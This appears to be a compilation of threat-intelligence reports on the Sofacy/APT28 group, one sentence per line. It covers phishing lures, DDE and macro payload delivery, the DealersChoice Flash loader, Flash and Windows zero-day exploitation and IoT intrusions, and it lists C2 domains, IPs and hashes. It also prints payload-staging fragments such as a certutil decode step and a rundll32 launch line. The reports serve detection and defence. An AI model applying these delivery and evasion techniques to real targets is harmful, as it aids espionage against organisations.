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Sofacy Group’s Parallel Attacks .
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Sofacy Group’s Parallel Attacks .
The Sofacy group remains a persistent global threat .
Unit 42 and others have shown in the first half of 2018 how this threat actor group continues to target multiple organizations throughout the world with a strong emphasis on government , diplomatic and other strategic organizations primarily in North America and Europe .
Following up our most recent Sofacy research in February and March of 2018 , we have found a new campaign that uses a lesser known tool widely attributed to the Sofacy group called Zebrocy .
Zebrocy is delivered primarily via phishing attacks that contain malicious Microsoft Office documents with macros as well as simple executable file attachments .
This third campaign is consistent with two previously reported attack campaigns in terms of targeting : the targets were government organizations dealing with foreign affairs .
In this case however the targets were in different geopolitical regions .
An interesting difference we found in this newest campaign was that the attacks using Zebrocy cast a far wider net within the target organization : the attackers sent phishing emails to a an exponentially larger number of individuals .
The targeted individuals did not follow any significant pattern , and the email addresses were found easily using web search engines .
This is a stark contrast with other attacks commonly associated with the Sofacy group where generally no more than a handful of victims are targeted within a single organization in a focus-fire style of attack .
In addition to the large number of Zebrocy attacks we discovered , we also observed instances of the Sofacy group leveraging the Dynamic Data Exchange ( DDE ) exploit technique previously documented by McAfee .
The instances we observed , however , used the DDE exploit to deliver different payloads than what was observed previously .
In one instance the DDE attack was used to deliver and install Zebrocy .
In another instance , the DDE attack was used to deliver an open-source penetration testing toolkit called Koadic .
The Sofacy group has leveraged open source or freely available tools and exploits in the past but this is the first time that Unit 42 has observed them leveraging the Koadic toolkit .
In our February report , we discovered the Sofacy group using Microsoft Office documents with malicious macros to deliver the SofacyCarberp payload to multiple government entities .
In that report , we documented our observation that the Sofacy group appeared to use conventional obfuscation techniques to mask their infrastructure attribution by using random registrant and service provider information for each of their attacks .
In particular , we noted that the Sofacy group deployed a webpage on each of the domains .
This is odd because attackers almost never set up an actual webpage on adversary C2 infrastructure .
Even stranger , each webpage contained the same content within the body .
Since that report , we continued our research into this oddity .
Using this artifact , we were able to pivot and discover another attack campaign using the DealersChoice exploit kit with similar victimology to what we saw in February .
Continuing to use this artifact , we discovered another domain with the same content body , supservermgr.com .
This domain was registered on December 20 , 2017 and within a few days was resolving to 92.222.136.105 , which belonged to a well-known VPS provider often used by the Sofacy group .
Unfortunately , at the time of collection , the C2 domain had been sinkholed by a third party .
Based on dynamic and static analysis of the malware sample associated with the supservermgr.com domain however , we were able to determine several unique artifacts which allowed us to expand our dataset and discover additional findings .
First , we determined the sample we collected , d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc was attempting to communicate to its C2 at http://supservermgr.com/sys/upd/pageupd.php to retrieve a Zebrocy AutoIT downloader .
Because the domain had been sinkholed , this activity could not be completed .
Using AutoFocus , we pivoted from the user agent string to expand our data set to three additional Zebrocy samples using the exact same user agent .
This led us to additional infrastructure for Zebrocy at 185.25.51.198 and 185.25.50.93 .
At this point we had collected nearly thirty samples of Zebrocy in relation to the original sample and its associated C2 domain .
Additional pivoting based on artifacts unique to this malware family expanded our dataset to hundreds of samples used over the last several years .
Most of the additional samples were the Delphi and AutoIT variants as reported by ESET .
However , several of the collected samples were a C++ variant of the Zebrocy downloader tool .
In addition , we discovered evidence of a completely different payload in Koadic being delivered as well .
Also , we found the IP address 185.25.50.93 hosting C2 services for a Delphi backdoor that ESET ’s report states is the final stage payload for these attacks .
Please note this is not a comprehensive chart of all Zebrocy and Koadic samples we were able to collect .
Only samples mentioned or relevant to the relational analysis have been included .
From the 185.25.50.93 C2 IP , we discovered another hard-coded user agent being used by Zebrocy :Mozilla ( Windows NT 6.1 ; WOW64 ) WinHttp/1.6.3.8 ( WinHTTP/5.1 ) like Gecko .
We observed several samples of Zebrocy using this user agent targeting the foreign affairs ministry of a large Central Asian nation .
Pivoting off of this artifact provided us additional Zebrocy samples .
One sample in particular , cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df used yet another unique user agent string in combination with the previous user agent for its C2 : Mozilla v5.1 ( Windows NT 6.1 ; rv : 6.0.1 ) Gecko Firefox .
A malware sample using two separate unique user agent strings is uncommon .
A closer examination of the tool revealed the second user agent string was from a secondary payload that was retrieved by the cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df sample .
Pivoting from the Mozilla v5.1 user agent revealed over forty additional Zebrocy samples , with several again targeting the same Central Asian nation .
Two samples specifically , 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 and 115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 provided additional artifacts we were able to pivot from to discover weaponized documents to deliver Zebrocy as well as a Koadic .
Examining the use of the unique user agents ’ strings over time shows that while previously only the Mozilla user agent was in use , since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications .
The two weaponized documents we discovered leveraging DDE were of particular interest due to victimology and a change in tactics .
While examining 25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8 , we were able to pivot from its C2220.158.216.127 to gather additional Zebrocy samples as well as a weaponized document .
This document 85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5 appears to have been targeting a North American government organization dealing with foreign affairs .
It leveraged DDE to retrieve and install a payload onto the victim host .
A decoy document is deployed in this attack , with the contents purporting be a publicly available document from the United Nations regarding the Republic of Uzbekistan .
The creator of the weaponized document appended their DDE instructions to the end of the document after all of the decoy contents .
When the document is opened in Word , the instructions are not immediately visible , as Word does not display these fields contents by default .
As you can see in the following screenshot , simply attempting to highlight the lines in which the DDE instructions reside does not display them .
Enabling the “ Toggle Field Codes ” feature reveals the DDE instructions to us and shows that the author had set instructions to size 1 font and with a white coloring .
The use of a white font coloring to hide contents within a weaponized document is a technique we had previously reported being used by the Sofacy group in a malicious macro attack .
The DDE instructions attempt to run the following the following command on the victim host , which attempts to download and execute a payload from a remote server .
During our analysis , we observed this DDE downloading and executing a Zebrocy AutoIt downloader f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1 , configured to attempt to download an additional payload from 220.158.216.127 .
The DDE instructions also included another command that it did not run , which suggests it is an artifact of a prior version of this delivery document .
The following shows this unused command , which exposed an additional server within Sofacy ’s infrastructure would download and execute an encoded PowerShell script from 92.114.92.102 .
The unused command above appears to be related to previous attacks , specifically attacks that occurred in November 2017 as discussed by McAfee and ESET .
The payload delivered in these November 2017 attacks using DDE enabled documents was SofacyCarberp , which differs from the Zebrocy downloader delivered in the February 2018 attacks .
115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03 was another Zebrocy sample we were able to pivot from by gathering additional samples connecting to its C2 86.106.131.177 .
The additional samples targeted the same large Central Asian nation state as previously mentioned but more interestingly , one of the samples was a weaponized document also leveraging DDE and containing a non-Zebrocy payload .
The payload turned out to be an open source penetration test toolkit called Koadic .
It is a toolkit similar to Metasploit or PowerShell Empire and is freely available to anyone on Github .
The RTF document 8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff was very small in size at 264 bytes .
The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server , save it as an executable file on the system and then execute the payload .
The Sofacy group continues their targeted attack campaigns in 2018 .
As mentioned in this blog , Sofacy is carrying out parallel campaigns to attack similar targets around the world but with different toolsets .
The Zebrocy tool associated with this current strain of attacks is constructed in several different forms based on the programming language the developer chose to create the tool .
We have observed Delphi , AutoIt , and C++ variants of Zebrocy , all of which are related not only in their functionality , but also at times by chaining the variants together in a single attack .
These attacks are still largely perpetrated via spear phishing campaigns , whether via simple executable attachments in hopes that a victim will launch the file to using a previously observed DDE exploitation technique .
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Sofacy Uses DealersChoice to Target European Government Agency .
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Sofacy Uses DealersChoice to Target European Government Agency .
Back in October 2016 , Unit 42 published an initial analysis on a Flash exploitation framework used by the Sofacy threat group called DealersChoice .
The attack consisted of Microsoft Word delivery documents that contained Adobe Flash objects capable of loading additional malicious Flash objects embedded in the file or directly provided by a command and control server .
Sofacy continued to use DealersChoice throughout the fall of 2016 , which we also documented in our December 2016 publication discussing Sofacy ’s larger campaign .
On March 12 and March 14 , we observed the Sofacy group carrying out an attack on a European government agency involving an updated variant of DealersChoice .
The updated DealersChoice documents used a similar process to obtain a malicious Flash object from a C2 server , but the inner mechanics of the Flash object contained significant differences in comparison to the original samples we analyzed .
One of the differences was a particularly clever evasion technique : to our knowledge this has never been observed in use .
With the previous iterations of DealersChoice samples , the Flash object would immediately load and begin malicious tasks .
In the March attacks , the Flash object is only loaded if the user scrolls through the entire content of the delivery document and views the specific page the Flash object is embedded on .
Also , DealersChoice requires multiple interactions with an active C2 server to successfully exploit an end system .
The overall process to result in a successful exploitation is :User must open the Microsoft Word email attachment ;User must scroll to page three of the document , which will run the DealersChoice Flash object ;The Flash object must contact an active C2 server to download an additional Flash object containing exploit code ;The initial Flash object must contact the same C2 server to download a secondary payload ;Victim host must have a vulnerable version of Flash installed .
The attack involving this updated variant of DealersChoice was targeting a European government organization .
The attack relied on a spear-phishing email with a subject of “ Defence & Security 2018 Conference Agenda ” that had an attachment with a filename of “ Defence&Security_2018_Conference_Agenda.docx ” .
The attached document contains a conference agenda that the Sofacy group appears to have copied directly from the website for the “ Underwater Defence & Security 2018 Conference ” here .
Opening the attached “ Defence & Security 2018 Conference Agenda.docx ” file does not immediately run malicious code to exploit the system .
Instead , the user must scroll to the third page of the document , which will load a Flash object that contains ActionScript that will attempt to exploit the user ’s system to install a malicious payload .
The Flash object embedded within this delivery document is a variant of an exploit tool that we call DealersChoice .
This suggests that the Sofacy group is confident that the targeted individuals would be interested enough in the content to peruse through it .
We analyzed the document to determine the reason that the malicious Flash object only ran when the user scrolled to the third page .
According to the document.xml file , the DealersChoice loader SWF exists after the “ covert-shores-small.png ” image file within the delivery document .
This image file exists on the third page of the document , so the user would have to scroll down in the document to this third page to get the SWF file to run .
The user may not notice the Flash object on the page , as Word displays it as a tiny black box in the document , as seen in Figure 1 .
This is an interesting anti-sandbox technique , as it requires human interaction prior to the document exhibiting any malicious activity .
This DealersChoice Flash object shares a similar process to previous variants ; however , it appears that the Sofacy actors have made slight changes to its internal code .
Also , it appears that the actors used ActionScript from an open source video player called “ f4player ” , which is freely available on GitHub .
The Sofacy developer modified the f4player ’s ActionScript to include additional code to load an embedded Flash object .
The additions include code to decrypt an embedded Flash object and an event handler that calls a newly added function ( “ skinEvent2 ” ) that plays the decrypted object .
The above code allows DealersChoice to load a second SWF object , specifically loading it with an argument that includes a C2 URL of “ http://ndpmedia24.com/0pq6m4f.m3u8 ” .
The embedded SWF extracts the domain from the C2 URL passed to it and uses it to craft a URL to get the server ’s ‘ crossdomain.xml ’ file in order to obtain permissions to load additional Flash objects from the C2 domain .
The ActionScript relies on event listeners to call specific functions when the event “ Event.COMPLETE ” is triggered after successful HTTP requests are issued to the C2 server .
The event handlers call functions with the following names , which includes an incrementing number that represents the order in which the functions are called : onload1 , onload2 , onload3 , onload5 .
With these event handlers created , the ActionScript starts by gathering system data from the flash.system.Capabilities.serverString property ( just like in the original DealersChoice.B samples ) and issues an HTTP GET with the system data as a parameter to the C2 URL that was passed as an argument to the embedded SWF when it was initially loaded .
When this HTTP request completes , the event listener will call the ‘ onload1 ’ function .
The ‘ onload1 ’ function parses the response data from the request to the C2 URL using regular expressions .
The regular expressions suggest that the C2 server responds with content that is meant to resemble HTTP Live Steaming ( HLS ) traffic , which is a protocol that uses HTTP to deliver audio and video files for streaming .
The use of HLS coincides with the use of ActionScript code from the f4player to make the traffic seem legitimate .
The variables storing the results of the regular expression matches are used within the ActionScript for further interaction with the C2 server .
The ‘ onload1 ’ function then sends an HTTP GET request to the C2 domain using the value stored in the ‘ r3 ’ variable as a URL .
When this HTTP request completes , the event listener will call the ‘ onload2 ’ function .
The ‘ onload2 ’ function decrypts the response received from the HTTP request issued in ‘ onload1 ’ function .
It does so by calling a sub-function to decrypt the content , using the value stored in the ‘ r1 ’ variable as a key .
The sub-function to decrypt the content skips the first 4 bytes , suggesting that the first four bytes of the downloaded content is in cleartext ( most likely the “ FWS ” or “ CWS ” header to look legitimate ) .
After decrypting the content , the ‘ onload2 ’ function will issue another HTTP GET request with the system data as a parameter , but this time to the C2 using a URL from the ‘ r4 ’ variable .
When this request completes , the event listener will call the ‘ onload3 ’ function .
The ‘ onload3 ’ function will take the response to the HTTP request in ‘ onload2 ’ and treat it as the payload .
The ActionScript will read each byte of the C2 response and get the hexadecimal value .
This hexadecimal string will most likely be a string of shellcode that will contain and decrypt the ultimate portable executable ( PE ) payload .
The string of comma separated hexadecimal values is passed as a parameter when loading the SWF file downloaded in ‘ onload2 ’ .
This function creates an event listener for when the SWF file is successfully loaded , which will call the ‘ onload5 ’ function .
The ‘ onload5 ’ function is responsible for adding the newly loaded SWF object as a child object .
This loads the SWF file , effectively running the malicious code on the system .
During our analysis , we were unable to coerce the C2 into providing a malicious SWF or payload .
As mentioned in our previous blogs on DealersChoice , the payload of choice for previous variants was SofacyCarberp ( Seduploader ) , but we have no evidence to suggest this tool was used in this attack .
We are actively researching and will update this blog in the event we discover the malicious Flash object and payload delivered in this attack .
The delivery document used in this attack was last modified by a user named ‘ Nick Daemoji ’ , which provides a linkage to previous Sofacy related delivery documents .
The previous documents that used this user name were macro-laden delivery documents that installedpayloads , as discussed in Talos ’ blog .
This overlap also points to a similar social engineering theme between these two campaigns , as both used content from upcoming military and defense conferences as a lure .
The Sofacy threat group continues to use their DealersChoice framework to exploit Flash vulnerabilities in their attack campaigns .
In the most recent variant , Sofacy modified the internals of the malicious scripts , but continues to follow the same process used by previous variants by obtaining a malicious Flash object and payload directly from the C2 server .
Unlike previous samples , this DealersChoice used a DOCX delivery document that required the user to scroll through the document to trigger the malicious Flash object .
0cd9ac328d858d8d83c9eb73bfdc59a958873b3d71b24c888d7408d9512a41d7 ( Defence&Security_2018_Conference_Agenda.docx ) ndpmedia24.com .
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Corporate IoT – a path to intrusion .
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Corporate IoT – a path to intrusion .
Several sources estimate that by the year 2020 some 50 billion IoT devices will be deployed worldwide .
IoT devices are purposefully designed to connect to a network and many are simply connected to the internet with little management or oversight .
Such devices still must be identifiable , maintained , and monitored by security teams , especially in large complex enterprises .
Some IoT devices may even communicate basic telemetry back to the device manufacturer or have means to receive software updates .
In most cases however , the customers ’ IT operation center don’t know they exist on the network .
In 2016 , the Mirai botnet was discovered by the malware research group MalwareMustDie .
The botnet initially consisted of IP cameras and basic home routers , two types of IoT devices commonly found in the household .
As more variants of Mirai emerged , so did the list IoT devices it was targeting .
The source code for the malware powering this botnet was eventually leaked online .
In 2018 , hundreds of thousands of home and small business networking and storage devices were compromised and loaded with the so-called “ VPN Filter ” malware .
The FBI has publicly attributed this activity to a nation-state actor and took subsequent actions to disrupt this botnet , although the devices would remain vulnerable to re-infection unless proper firmware or security controls were put in place by the user .
There were also multiple press reports of cyber-attacks on several devices during the opening ceremonies for the 2018 Olympic Games in PyeongChang .
Officials did confirm a few days later that they were a victim of malicious cyber-attacks that prevented attendees from printing their tickets to the Games and televisions and internet access in the main press center simply stopped working .
In April , security researchers in the Microsoft Threat Intelligence Center discovered infrastructure of a known adversary communicating to several external devices .
Further research uncovered attempts by the actor to compromise popular IoT devices ( a VOIP phone , an office printer , and a video decoder ) across multiple customer locations .
The investigation uncovered that an actor had used these devices to gain initial access to corporate networks .
In two of the cases , the passwords for the devices were deployed without changing the default manufacturer ’s passwords and in the third instance the latest security update had not been applied to the device .
These devices became points of ingress from which the actor established a presence on the network and continued looking for further access .
Once the actor had successfully established access to the network , a simple network scan to look for other insecure devices allowed them to discover and move across the network in search of higher-privileged accounts that would grant access to higher-value data .
After gaining access to each of the IoT devices , the actor ran tcpdump to sniff network traffic on local subnets .
They were also seen enumerating administrative groups to attempt further exploitation .
As the actor moved from one device to another , they would drop a simple shell script to establish persistence on the network which allowed extended access to continue hunting .
Analysis of network traffic showed the devices were also communicating with an external command and control ( C2 ) server .
The following IP addresses are believed to have been used by the actor for command and control ( C2 ) during these intrusions :167.114.153.55 94.237.37.28 82.118.242.171 31.220.61.251 128.199.199.187 .
We attribute the attacks on these customers using three popular IoT devices to an activity group that Microsoft refers to as STRONTIUM .
Since we identified these attacks in the early stages , we have not been able to conclusively determine what STRONTIUM ’s ultimate objectives were in these intrusions .
Over the last twelve months , Microsoft has delivered nearly 1400 nation-state notifications to those who have been targeted or compromised by STRONTIUM .
One in five notifications of STRONTIUM activity were tied to attacks against non-governmental organizations , think tanks , or politically affiliated organizations around the world .
The remaining 80% of STRONTIUM attacks have largely targeted organizations in the following sectors : government , IT , military , defense , medicine , education , and engineering .
We have also observed and notified STRONTIUM attacks against Olympic organizing committees , anti-doping agencies , and the hospitality industry .
The “ VPN Filter ” malware has also been attributed to STRONTIUM by the FBI .
Today we are sharing this information to raise awareness of these risks across the industry and calling for better enterprise integration of IoT devices , particularly the ability to monitor IoT device telemetry within enterprise networks .
Today , the number of deployed IoT devices outnumber the population of personal computers and mobile phones , combined .
With each networked IoT device having its own separate network stack , it ’s quite easy to see the need for better enterprise management , especially in today ’s “ bring your own device ” world .
While much of the industry focuses on the threats of hardware implants , we can see in this example that adversaries are happy to exploit simpler configuration and security issues to achieve their objectives .
These simple attacks taking advantage of weak device management are likely to expand as more IoT devices are deployed in corporate environments .
Upon conclusion of our investigation , we shared this information with the manufacturers of the specific devices involved and they have used this event to explore new protections in their products .
However , there is a need for broader focus across IoT in general , both from security teams at organizations that need to be more aware of these types of threats , as well as from IoT device makers who need to provide better enterprise support and monitoring capabilities to make it easier for security teams to defend their networks .
Below are a series of indicators Microsoft has observed as active during the STRONTIUM activity discussed in this article .
Command-and-Control ( C2 ) IP addresses :167.114.153.55 94.237.37.28 82.118.242.171 31.220.61.251 128.199.199.187 .
Operation RussianDoll : Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia ’s APT28 in Highly-Targeted Attack .
FireEye Labs recently detected a limited APT campaign exploiting zero-day vulnerabilities in Adobe Flash and a brand-new one in Microsoft Windows .
Using the Dynamic Threat Intelligence Cloud ( DTI ) , FireEye researchers detected a pattern of attacks beginning on April 13th , 2015 .
Adobe independently patched the vulnerability ( CVE-2015-3043 ) in APSB15-06 .
Through correlation of technical indicators and command and control infrastructure , FireEye assess that APT28 is probably responsible for this activity .
Microsoft is aware of the outstanding local privilege escalation vulnerability in Windows ( CVE-2015-1701 ) .
While there is not yet a patch available for the Windows vulnerability , updating Adobe Flash to the latest version will render this in-the-wild exploit innocuous .
We have only seen CVE-2015-1701 in use in conjunction with the Adobe Flash exploit for CVE-2015-3043 .
The Microsoft Security Team is working on a fix for CVE-2015-1701 .
The high level flow of the exploit is as follows :User clicks link to attacker controlled website .
HTML/JS launcher page serves Flash exploit .
Flash exploit triggers CVE-2015-3043 , executes shellcode .
Shellcode downloads and runs executable payload .
Executable payload exploits local privilege escalation ( CVE-2015-1701 ) to steal System token .
The Flash exploit is served from unobfuscated HTML/JS .
The launcher page picks one of two Flash files to deliver depending upon the target ’s platform ( Windows 32 versus 64bits ) .
The Flash exploit is mostly unobfuscated with only some light variable name mangling .
The attackers relied heavily on the CVE-2014-0515 Metasploit module , which is well documented .
It is ROPless , and instead constructs a fake vtable for a FileReference object that is modified for each call to a Windows API .
The payload exploits a local privilege escalation vulnerability in the Windows kernel if it detects that it is running with limited privileges .
It uses the vulnerability to run code from userspace in the context of the kernel , which modifies the attacker ’s process token to have the same privileges as that of the System process .
The primary difference between the CVE-2014-0515 metasploit module and this exploit is , obviously , the vulnerability .
CVE-2014-0515 exploits a vulnerability in Flash ’s Shader processing , whereas CVE-2015-3043 exploits a vulnerability in Flash ’s FLV processing .
The culprit FLV file is embedded within AS3 in two chunks , and is reassembled at runtime .
A buffer overflow vulnerability exists in Adobe Flash Player ( <=17.0.0.134 ) when parsing malformed FLV objects .
Attackers exploiting the vulnerability can corrupt memory and gain remote code execution .
In the exploit , the attacker embeds the FLV object directly in the ActionScript code , and plays the video using NetStream class .
Files of the FLV file format contain a sequence of Tag structures .
Beginning within the data field , all contents of the FLV stream become 0xEE .
Consequently , the data and lastsize fields are mangled .
Since the size is controlled by the attacker , it ’s possible to overflow the fixed size buffer with certain data .
As the previous picture demonstrated , the followed Vector object ’s length field being overflowed as 0x80007fff , which enables the attacker to read/write arbitrary data within user space .
Shellcode is passed to the exploit from HTML in flashvars .
The shellcode downloads the next stage payload , which is an executable passed in plaintext , to the temp directory with UrlDownloadToFileA , which it then runs with WinExec .
This exploit delivers a malware variant that shares characteristics with the APT28 backdoors CHOPSTICK and CORESHELL malware families , both described in our APT28 whitepaper .
The malware uses an RC4 encryption key that was previously used by the CHOPSTICK backdoor .
And the C2 messages include a checksum algorithm that resembles those used in CHOPSTICK backdoor communications .
In addition , the network beacon traffic for the new malware resembles those used by the CORESHELL backdoor .
Like CORESHELL , one of the beacons includes a process listing from the victim host .
And like CORESHELL , the new malware attempts to download a second-stage executable .
One of the C2 locations for the new payload , 87.236.215.246 , also hosts a suspected APT28 domain ssl-icloud.com .
The same subnet ( 87.236.215.0 / 24 ) also hosts several known or suspected APT28 domains .
The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows .
The exploit uses CVE-2015-1701 to execute a callback in userspace .
The callback gets the EPROCESS structures of the current process and the System process , and copies data from the System token into the token of the current process .
Upon completion , the payload continues execution in usermode with the privileges of the System process .
Because CVE-2015-3043 is already patched , this remote exploit will not succeed on a fully patched system .
If an attacker wanted to exploit CVE-2015-1701 , they would first have to be executing code on the victim ’s machine .
Barring authorized access to the victim ’s machine , the attacker would have to find some other means , such as crafting a new Flash exploit , to deliver a CVE-2015-1701 payload .
Microsoft is aware of CVE-2015-1701 and is working on a fix .
CVE-2015-1701 does not affect Windows 8 and later .
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Sofacy Attacks Multiple Government Entities .
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Sofacy Attacks Multiple Government Entities .
Release_Time : 2018-02-28Report_URL : https://unit42.paloaltonetworks.com/unit42-sofacy-attacks-multiple-government-entities/The Sofacy group ( AKA APT28 , Fancy Bear , STRONTIUM , Sednit , Tsar Team , Pawn Storm ) is a well-known adversary that remains highly active in the new calendar year of 2018 .
Unit 42 actively monitors this group due to their persistent nature globally across all industry verticals .
Recently , we discovered a campaign launched at various Ministries of Foreign Affairs around the world .
Interestingly , there appear to be two parallel efforts within the campaign , with each effort using a completely different toolset for the attacks .
In this blog , we will discuss one of the efforts which leveraged tools that have been known to be associated with the Sofacy group .
At the beginning of February 2018 , we discovered an attack targeting two government institutions related to foreign affairs .
These entities are not regionally congruent , and the only shared victimology involves their organizational functions .
Specifically , one organization is geographically located in Europe and the other in North America .
The initial attack vector leveraged a phishing email , using the subject line of Upcoming Defense events February 2018 and a sender address claiming to be from Jane ’s 360 defense events events@ihsmarkit.com .
Jane ’s by IHSMarkit is a well-known supplier of information and analysis often times associated with the defense and government sector .
Analysis of the email header data showed that the sender address was spoofed and did not originate from IHSMarkit at all .
The lure text in the phishing email claims the attachment is a calendar of events relevant to the targeted organizations and contained specific instructions regarding the actions the victim would have to take if they had “ trouble viewing the document ” .
The attachment itself is an Microsoft Excel XLS document that contains malicious macro script .
The document presents itself as a standard macro document but has all of its text hidden until the victim enables macros .
Notably , all of the content text is accessible to the victim even before macros are enabled .
However , a white font color is applied to the text to make it appear that the victim must enable macros to access the content .
The code above changes the font color to black within the specified cell range and presents the content to the user .
On initial inspection , the content appears to be the expected legitimate content , however , closer examination of the document shows several abnormal artifacts that would not exist in a legitimate document .
Figure 2 below shows how the delivery document initially looks and the transformation the content undergoes as the macro runs .
As mentioned in a recent ISC diary entry , the macro gets the contents of cells in column 170 in rows 2227 to 2248 to obtain the base64 encoded payload .
The macro prepends the string —–BEGIN CERTIFICATE—– to the beginning of the base64 encoded payload and appends —–END CERTIFICATE—– to the end of the data .
The macro then writes this data to a text file in the C:\Programdata folder using a random filename with the .txt extension .
The macro then uses the command certutil -decode to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\Programdata folder .
The macro sleeps for two seconds and then executes the newly dropped executable .
The newly dropped executable is a loader Trojan responsible for installing and running the payload of this attack .
We performed a more detailed analysis on this loader Trojan , which readers can view in this report ’s appendix .
Upon execution , the loader will decrypt the embedded payload ( DLL ) using a custom algorithm , decompress it and save it to the following file : %LOCALAPPDATA%\cdnver.dll .
The loader will then create the batch file %LOCALAPPDATA%\cdnver.bat , which it will write the following :start rundll32.exe “ C:\Users\user\AppData\Local\cdnver.dll ” .
The loader Trojan uses this batch file to run the embedded DLL payload .
For persistence , the loader will write the path to this batch file to the following registry key .
The cdnver.dll payload installed by the loader executable is a variant of the SofacyCarberp payload , which is used extensively by the Sofacy threat group .
Overall , SofacyCarberp does initial reconnaissance by gathering system information and sending it to the C2 server prior to downloading additional tools to the system .
This variant of SofacyCarberp was configured to use the following domain as its C2 server : cdnverify.net .
The loader and the SofacyCarberp sample delivered in this attack is similar to samples we have analyzed in the past but contains marked differences .
These differences include a new hashing algorithm to resolve API functions and to find running browser processes for injection , as well as changes to the C2 communication mechanisms .
It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack .
Luckystrike , which was presented at DerbyCon 6 in September 2016 , is a Microsoft PowerShell based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload .
We believe Sofacy used this tool , as the macro within their delivery document closely resembles the macros found within Luckystrike .
To confirm our suspicions , we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy ’s delivery document .
We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload .
The one non-random string difference was the path to the “ .txt ” and “ .exe ” files within the command “ certutil -decode ” , as the Sofacy document used “ C:\Programdata\ ” for the path whereas the Luckystrike document used the path stored in the Application.UserLibraryPath environment variable .
Figure 3 below shows a diff with the LuckyStrike macro on the left and Sofacy macro on the right , where everything except the file path and randomly generated values in the macro are exactly the same , including the obfuscation attempts that use concatenation to build strings .
With much of our research , our initial direction and discovery of emerging threats is generally some combination of previously observed behavioral rulesets or relationships .
In this case , we had observed a strange pattern emerging from the Sofacy group over the past year within their command and control infrastructure .
Patterning such as reuse of WHOIS artifacts , IP reuse , or even domain name themes are common and regularly used to group attacks to specific campaigns .
In this case , we had observed the Sofacy group registering new domains , then placing a default landing page which they then used repeatedly over the course of the year .
No other parts of the C2 infrastructure amongst these domains contained any overlapping artifacts .
Instead , the actual content within the body of the websites was an exact match in each instance .
Specifically , the strings 866-593-54352 ( notice it is one digit too long ) , 403-965-2341 , or the address 522 Clematis .
Suite 3000 was repeatedly found in each instance .
ThreatConnect had made the same observation regarding this patterning in September 2017 .
Hotfixmsupload.com is particularly interesting as it has been identified as a Sofacy C2 domain repeatedly , and was also brought forth by Microsoft in a legal complaint against STRONTIUM ( Sofacy ) as documented here .
Leveraging this intelligence allowed us to begin predicting potential C2 domains that would eventually be used by the Sofacy group .
In this scenario , the domain cdnverify.net was registered on January 30 , 2018 and just two days later , an attack was launched using this domain as a C2 .
The Sofacy group should no longer be an unfamiliar threat at this stage .
They have been well documented and well researched with much of their attack methodologies exposed .
They continue to be persistent in their attack campaigns and continue to use similar tooling as in the past .
This leads us to believe that their attack attempts are likely still succeeding , even with the wealth of threat intelligence available in the public domain .
Application of the data remains challenging , and so to continue our initiative of establishing playbooks for adversary groups , we have added this attack campaign as the next playbook in our dataset .
Palo Alto Networks customers are protected from this threat by :WildFire detects all SofacyCarberp payloads with malicious verdicts .
AutoFocus customers can track these tools with the Sofacy , SofacyMacro and SofacyCarberp .
Traps blocks the Sofacy delivery documents and the SofacyCarberp payload .
SHA256 : ff808d0a12676bfac88fd26f955154f8884f2bb7c534b9936510fd6296c543e8 SHA256 : 12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8 SHA256 : cb85072e6ca66a29cb0b73659a0fe5ba2456d9ba0b52e3a4c89e86549bc6e2c7 SHA256 : 23411bb30042c9357ac4928dc6fca6955390361e660fec7ac238bbdcc8b83701 Sofacy : Cdnverify.net Sofacy Filename : Upcoming_Events_February_2018.xls .
APT28 Targets Hospitality Sector , Presents Threat to Travelers .
Release_Time : 2017-08-11 Report_URL : https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.htmlFireEye has moderate confidence that a campaign targeting the hospitality sector is attributed to Russian actor APT28 .
We believe this activity , which dates back to at least July 2017 , was intended to target travelers to hotels throughout Europe and the Middle East .
The actor has used several notable techniques in these incidents such as sniffing passwords from Wi-Fi traffic , poisoning the NetBIOS Name Service , and spreading laterally via the EternalBlue exploit .
FireEye has uncovered a malicious document sent in spear phishing emails to multiple companies in the hospitality industry , including hotels in at least seven European countries and one Middle Eastern country in early July .
Successful execution of the macro within the malicious document results in the installation of APT28 ’s signature GAMEFISH malware .
The malicious document – Hotel_Reservation_Form.doc ( MD5 : 9b10685b774a783eabfecdb6119a8aa3 ) , contains a macro that base64 decodes a dropper that then deploys APT28 ’s signature GAMEFISH malware ( MD5 : 1421419d1be31f1f9ea60e8ed87277db ) , which uses mvband.net and mvtband.net as command and control ( C2 ) domains .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
Once inside the network of a hospitality company , APT28 sought out machines that controlled both guest and internal Wi-Fi networks .
No guest credentials were observed being stolen at the compromised hotels ; however , in a separate incident that occurred in Fall 2016 , APT28 gained initial access to a victim ’s network via credentials likely stolen from a hotel Wi-Fi network .
Upon gaining access to the machines connected to corporate and guest Wi-Fi networks , APT28 deployed Responder .
Responder facilitates NetBIOS Name Service ( NBT-NS ) poisoning .
This technique listens for NBT-NS ( UDP ) broadcasts from victim computers attempting to connect to network resources .
Once received , Responder masquerades as the sought-out resource and causes the victim computer to send the username and hashed password to the attacker-controlled machine .
APT28 used this technique to steal usernames and hashed passwords that allowed escalation of privileges in the victim network .
